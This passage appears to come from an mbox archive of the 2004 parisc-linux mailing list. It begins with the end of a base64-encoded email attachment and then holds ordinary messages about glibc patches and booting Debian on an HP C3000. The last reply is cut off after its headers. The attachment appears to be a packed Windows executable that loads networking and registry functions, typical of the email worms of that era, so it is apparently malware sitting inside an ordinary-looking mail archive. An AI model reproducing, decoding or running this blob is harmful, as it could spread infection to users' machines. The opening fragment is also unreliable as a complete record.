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
ZraQQdx2BnHbAbwg0pgqENXviYWxcR+1tgal5L/8////nzPUuOiiyQd4NPkAD46o
CZYYmA7huw1qfy09bQiXvwT8L06RAVxj5vRRa2tqHNgwZYX/////TgBi8u2VBmx7
pQEbwfQIglfED/XG2bBlUOm3Euq4vouF////fIi5/N8d3WJJLdoV83zTjGVM1PtY
YbJNzix/+/+lOlm8o+Iwu9RBpd9K15XYYcTRpPv01v/////TaulpQ/zZbjRGiGet
0Lhg2nMtBETlHQMzX0wKqsl8DTf+///dPHEFUKpBAicQEAu+hiAMySW1aFezheYJ
1P////9muZ/kYc4O+d5emMnZKSKY0LC0qNfHFz2zWYENtC47XP////+9t61susAg
g7jttrO/mgzitgOa0rF0OUfV6q930p0VJv/////bBIMW3HMSC2PjhDtklD5qbQ2o
Wmp6C88O5J3/CZMnruL///8ACrGeB31Ekw/w0qMIh2jyAR7+wgZpXVdi98v/X+Bf
IoBxNmwZ5wajdhvU/uAr04laetoQ///f6sxK3XXfufn5776OQ763F9WOsGDoo9bW
fv////+T0aHEwtg4UvLfT/Fnu9FnV7ym3Qa1P0s2skjaKw3YTP////8bCq/2SgM2
YHoEQcPvYN9V32eo745uMXm+aUaMs2HLGv////+DZryg0m8lNuJoUpV3DMwDRwu7
uRYCIi8mBVW+O7rFKP////8LvbKSWrQrBGqzXKf/18Ixz9C1i57ZLB2u3luwwmSb
Jv//L/3yY+yco2onk20CqQYJnD82DuuFZwdyE1cABf////+CSr+VFHq44q4rsXs4
G7YMm47Skg2+1eW379x8Id/bC+D////U0tOGQuLU8fiz3Whug9ofzRa+gVsmufbh
d7D//43fnke3GOZafXBqD//KOwZmXAsBEf+eZY///xv/aa5i+NP/a2HEbBZ44gqg
7tIN11SDBE7CswP/G/z/OWEmZ6f3FmDQTUdpSdvfPkpq0a7cWtbZ/////2YL30Dw
O9g3U668qcWeu95/z7JH6f+1MBzyvb2KwrrK/////zCTs1Omo7QkBTbQupMG180p
V95Uv2fZIy56ZrO4SmHEQf///wIbaF2UK28qN74LtKGODMMb3wVaje8CLfwAEGG4
U0hFTEwCCpsVSACVnSGbQAOAH4QRJFcIh23shQKXAxAXkKZrnhggYDcBQe+FygYB
A1NfWCjkewcDQACyC+wQAiAXIAPYsgQW3xj/w0LZVSAD99ghhIwCLxcDwBsWAmk/
dx8IbJEtA79gVzJCPwEIB1fZKiPTl/8Lm71gACIHAEWSiJL/TJSdVhsDQOPICJWT
QYcqG2ErH1/CKGvZR9sfkLSyFAAPBOqwRMdToj85pOhcyFxcQ3Vy+KTCVGEUXEV4
B2Fbg8IQcjNSqlQX2HVuY0OZ1mYQGOSLV4/QDnpFXFMTIEb+/6FOjR9DTFNJRFx7
RTZGQjVF/v9fgulERTM1LTExQ0YtOUM4Ny0wMEFBkej93wM1MTI3RUR9XElug950
0GtAowjxSEAm2kByRHLChQtSL4NzdmP9Ceh9gkyorSVzAbYFpSzPoy1QwOACey4g
ATrZ0zRNd0e4A6ygmIxN0zRNgHBgVEg8Lk3TNDAkGAxG/Gmapmns1MSskKVpmqZ0
VDAQAE3TNM1F8NzItIxsmkvTNFw4HETw1Gmapmm8kHhYMNM03YNZ5APYxLTm0jRN
iFwwDEL40z1rmtjArN9CoAOUTdM0TYyAcGhgVDRN0zREPDQkGGmaprlB/PDk3NSe
ypmmwLx3FaxpmqbpA6ikoJyUpmmappCMiISAmqZpmnx4dHBsaGmapmlkYFxYVKZp
mqZQTEhEQJqmaZo8ODQwLCiENAKQOzeRaFRVD03TNLtjA2L48OTc2DRN0zTQyLy0
qNM0TdOAbEgwKKZpmksUYfDYtISapmmabFhQQCgUNE1zaQBg+OzQyNM0TdPAuLCI
fObSNE1sUEg8X/yapmma6NzMvKSUZZqmaYyAbFxcmu5ZJV7YA4AoXcC5NE3TiGQg
AFzoc2mappBsQBRb9E3TNE3k0MzArJQ0TdM0fHRsXEhpLk3TMBwIWvDYpmmapsCc
hHBQmqZpmkA0KCAUADRN01xZ5MzArJjTNE3TgGxcVExL0zRNPDQoIBBYl6Zpmvzo
3MCsVOCaS9M0tFgoU7B0mktzaRhSsFBR6FiX5tJcUKhAT9AITpCa5tI0VAhNqJiE
aZqmaXRsYFBEzhGZpjQgbXMD0u3cScUHx0ygD4BI4Te5dBMkS/ADS9ifNE3TPUvM
A8S8uLTTNE3TrKSYkIRG0zRNgHhwZFw/aZqme0tUA0w8NCilaZqmJBwQCABN0zTN
Svjw6ODYzDRN0zTEvLSspCc0TdOclIyEa0qopmm6dANkVEQ0yoYoSL8AABRBJSOK
haLUF2FoVppv7jYYKAllAHRBAG4Ab2gbdZvpD3IdaQd1SQClCCqJKcckUVWBA8tm
oqiIFEABoJqq/kdldFByaW8nQ38UwTYNcxGKSGVh9oDgtXAPBV4aIgBty1NMI3Rg
HWxG8SiLL0lkEMyAoBRsZn7bHHcMbCtybGVuQT9tsB/YYhVjcHlBCW1df1S9ZBMq
tmVGaaz7i204QWMJU2l6OFMMNuxX1fdlclQboGQxd1fBNDNzFG2FJhNiOUfqzAGB
6B1GJaJvo0ZoCkIBxVszFSlwRnNlSJus/UqCHkRlBX1TBcxdC3ZlcJyTRkZpbgab
bNY0YMBpGk5FlxWKirhUhp2qGjLb002CoN2EbW8FekDtpOIh0kRRIDgUCuVSEsKw
IJicTuB8NAs2C0MbYWYDiwVLPiS3DQnLYq9ULXCgaxEN9k5hbaRNew9zEwZYExER
pZvMBIBfQFBhcAQNbGh/sQRtyX5hc3VteZNzUFU4MzEOTIaHFVqj+l/KL6JNeJaM
DZh4QS/jAJXZ3k0q3k1nUXVlM1aqg3tbBkUoERuSzWaFAQxGDqfZhjkbK0aizGsU
oBmiUzN5+Ts6vnd2c3ByO2ZwTG9hZEljb2gfKehN5kJveEnxALA9REtIaLFVuagG
M74LTBNZtk3TWq3o/wsCcwxlWZZlBDQXEm+WZVmWCQ90EAMTcw6oGz9TQVNuVgD/
//8fTRJIHVF9OiAWfQxPkQ0lCAYXZBokIxUXCwoUBv9v/P9IDQYMExk8EQ8+EUoW
C0x9KvADAQsJcBMsGSPdt/8rEgsQEhM5FRAwFRgFGAAUMP////8ZLRobMpgmJyFW
EycMGwlqECxwK2MhBQomLhsFGhoyHv//3ywaRgUoNgwSGBMMIBkcGkQeDAYPOwdf
5f9/+VIHEgsNFA4FBgwGLAZCDBQPEA4bCAc32Nb+FQwFCBAVCgENEAIFEf///38R
EC4aEqQNBRQZCAgLBx0saBIFExEoSQ8ZLx4jLRUI3/3//yQTHClNGQ8iICwYJBIk
DBAHG1AuDiJOB0kpChH+//b/QAkIJVAKITUYICYwXkImLAcjOjENFzEeChgL+3b7
30wPCigTUxMQFiCjBRW4Fq0WSAj2VvitHREjHg41OSRvDT0GAPi39tsLuAUSHA4H
f/oTCiC5SQkLk//fXhAdOggAFwkGJRcKBg0IDQ9DE1/7//8fG48GRxrLJA5NPo8J
KV6aCR0JRgjpAW7t//+3R5QGJ2sp8HYBKVJKWx53Y/CQAV0UBU9ObILs3QkfGvBe
QgQACBRgH1gKAPCAAW6qSgYAKcBS2SA0ioRUYWY56OUNHgBQRfpMAQXs3DykWf5D
/OAADiELAQU4ashdUxQHEAlQAABsMgbFENgEB525Jd0M0B40ELaXvYEHBgD4dwhk
mikZe7ACAMAMsF2AjK2nKAEe2xmori79Bz43kJFF8QXrBGDkdinqYC4hdGFTSC1H
VkTzAC48e0CmaW6xLiYnqCiAKlZom5JqwE9z/e4EkO5sBAJPlJtwLFpT3UoPA6Nu
vykblidCG4R5EnzDAADAR9XJAAAgAQAA/wAAAAAAAACAfCQIAQ+FhgEAAGC+AKAA
EI2+AHD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu
/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu
/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz
5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPp
BHfxAc/pTP///16J97lbAQAAigdHLOg8AXf3gD8BdfKLB4pfBGbB6AjBwBCGxCn4
gOvoAfCJB4PHBYnY4tmNvgDAAACLBwnAdEWLXwSNhDBY4AAAAfNQg8cI/5a84AAA
lYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5bA4AAACcB0B4kDg8ME69hhMcDCDACD
xwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvi
YenSZP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA
BgAAABgAAIAAAAAAzOzcPAAAAAAAAAEAvwUAADAAAIAAAAAAAAAAAAAAAAAAAAEA
BwQAAEgAAABYsAAATgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4PAAALzwAAAAAAAA
AAAAAAAAAADt8AAAyPAAAAAAAAAAAAAAAAAAAPrwAADQ8AAAAAAAAAAAAAAAAAAA
BfEAANjwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDxAAAe8QAAAAAAAC7xAAAAAAAA
PPEAAAAAAAATAACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAVVNFUjMy
LmRsbABXUzJfMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAA
UmVnT3BlbktleUEAAABMb2FkSWNvbkEAAOAAAAwAAAAtMAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABIAAA=

------------qSnSjeufJLuePGDq--



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Thu, 18 Mar 2004 12:59:45 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20040318175944.GK660@baldric.uwo.ca>
References: <20040316210933.GO660@baldric.uwo.ca>
	<40561E9500001160@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623283 7034 80.91.229.3 (22 Nov 2014 02:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:03 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Thu Mar 18 11:02:26 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D9394891
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 11:02:26 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B41o1-0003ZW-00; Thu, 18 Mar 2004 12:59:45 -0500
Content-Disposition: inline
In-Reply-To: <40561E9500001160@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (93% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 18:02:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21129

On Wed, Mar 17, 2004 at 09:30:59AM +0100, Joel Soete wrote:
> I now boot on the (previously /mnt/chroot) disk with new glibc (to be accurate
> cvs 2004 03 15 + your patch + my feupdateenv) with kernel 2.6.4-pa1 first.
> 
> I try to rebuild 2.6.4-pa2 as well as 2.6.5-rc1-pa0 (but small pb) and so
> rebuild 2.6.4-pa1 to add kbd and mouse support: rebuild ok, reboot ok.
> 
> I also relaunch Xfce4 and do some test with its file manager, its configuration
> interface and xterm, all seems to works fine (well at least, i don't log
> any error and any critical trouble in its usage ;)).
> 
> >No, thank you Joel, your testing and bravery is an enourmous help :)
> 
> Welcome (if you foreseen some additional test don't hesitate), thanks for
> your trust and support.

Excellent!

c.


From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adam Parrish <waparris@ncsu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Common Console Problem booting HP C3000 From CD-Rom
Date: 18 Mar 2004 16:01:44 -0500
Organization: ECE Wolftech
Lines: 33
Approved: news@gmane.org
Message-ID: <1079643703.11454.13.camel@lugh.ecew2k.ncsu.edu>
References: <mailman.112.1079643013.2398.parisc-linux@lists.parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623284 7038 80.91.229.3 (22 Nov 2014 02:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: waparris@ncsu.edu  Thu Mar 18 14:04:02 2004
Return-Path: <waparris@ncsu.edu>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from uni09mr.unity.ncsu.edu (uni09mr.unity.ncsu.edu [152.1.1.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 407F14891
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 14:04:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by uni09mr.unity.ncsu.edu (8.12.10/8.12.10/N.20031118.07) with ESMTP id
	i2IL41rv017201 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 16:04:01 -0500 (EST)
Original-Received: from uni09mr.unity.ncsu.edu ([127.0.0.1])
	by localhost (uni09mr.unity.ncsu.edu [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16892-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 16:04:01 -0500 (EST)
Original-Received: from lugh.ecew2k.ncsu.edu (lugh.ecew2k.ncsu.edu [152.1.47.107])
	by uni09mr.unity.ncsu.edu (8.12.10/8.12.10/N.20031118.07) with ESMTP id
	i2IL40PF017191 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 16:04:00 -0500 (EST)
In-Reply-To: <mailman.112.1079643013.2398.parisc-linux@lists.parisc-linux.org>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Mar 2004 21:04:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21130

Good Day,

I am attempting to load Debian on a good many of our C3000 Visualize
workstation per user request. Unfortunately I am stumbling upon a
"Common Error" while booting. 

When booting without altering any of the boot options from the pdl I get
a High Priority Machine Check error:

(HPMC): Code=1 regs=102F3080 (ADDR = 00000000) 

When using the 64 bit version by editing line 0 to have vmlinuz64 on it
so that it boots the 64 bit kernel I get the error that I need to switch
the console. 

I have tried multiple consoles but am unable to get it to show me the
linux interactive boot screen. The LCD on the front of my computer leads
me to believe that the kernel booted though since it says Linux 2.4.17. 

I have skimmed the Mailing List and I apologize if this is a repeat,
although none of the messages I read reflected my problem or the
solution. 

Any help or suggestion in debugging this problem would be greatly
appreciated. 

Thanks and Regards,
-- 
Adam Parrish
Asst. Linux Administrator
ECE Dept, North Carolina State University



From - Thu Nov 08 21:31:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marnix van den Berg <marnix.vd.berg@hccnet.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Common Console Problem booting HP C3000 From CD-Rom
Date: Thu, 18 Mar 2004 23:16:30 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <405A1FBE.5040609@hccnet.nl>
References: <mailman.112.1079643013.2398.parisc-linux@lists.parisc-linux.org>
	<1079643703.11454.13.camel@lugh.ecew2k.ncsu.edu>
Reply-To: marnix.vd.berg@hccnet.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623284 7041 80.91.229.3 (22 Nov 2014 02:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: marnix.vd.berg@hccnet.nl  Thu Mar 18 15:08:20 2004
Return-Path: <marnix.vd.berg@hccnet.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp10.hccnet.nl (smtp10.hccnet.nl [62.251.0.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id A78C64891
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Mar 2004 15:08:19 -0700 (MST)
Original-Received: from hccnet.nl by smtp10.hccnet.nl
	via fia65-26.dsl.hccnet.nl [62.251.26.65] with ESMTP for
	<parisc-linux@lists.parisc-linux.org>
	id i2IM8IF1017297 (8.12.10/2.04); Thu, 18 Mar 2004 23:08:18 +0100 (MET)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <1079643703.11454.13.camel@lugh.ecew2k.ncsu.edu>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
